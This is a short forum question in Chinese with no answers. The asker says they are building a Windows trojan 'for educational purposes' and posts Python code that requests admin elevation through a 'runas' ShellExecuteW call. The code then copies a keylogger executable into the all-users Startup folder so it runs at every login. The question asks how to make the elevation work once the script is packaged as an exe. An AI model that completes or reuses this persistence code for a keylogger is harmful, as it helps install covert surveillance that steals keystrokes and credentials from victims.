0

我正在创建一个简单的 Windows 特洛伊木马,用于教育目的。我正在努力将文件复制到启动。当从 CMD 执行该代码时,它会按预期工作,但在转换为 exe 后它会停止工作,因为不会出现 UAC 弹出窗口。我尝试从 auto-py-to-exe 请求 UAC,但没有帮助。你知道如何让它工作吗?

def is_admin():
    try:
        return ctypes.windll.shell32.IsUserAnAdmin()
    except:
        return False

if is_admin():
    shutil.copy(os.path.abspath("keylogger.exe"),r"C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp");
else:
    #treid but doesnt work as well# ctypes.windll.shell32.ShellExecuteW(None, "runas", sys.executable, " ".join(sys.argv), None, 1) 
    ctypes.windll.shell32.ShellExecuteW(None, u"runas", unicode(sys.executable), unicode(" ".join(sys.argv)), None, 1)
4

0 回答 0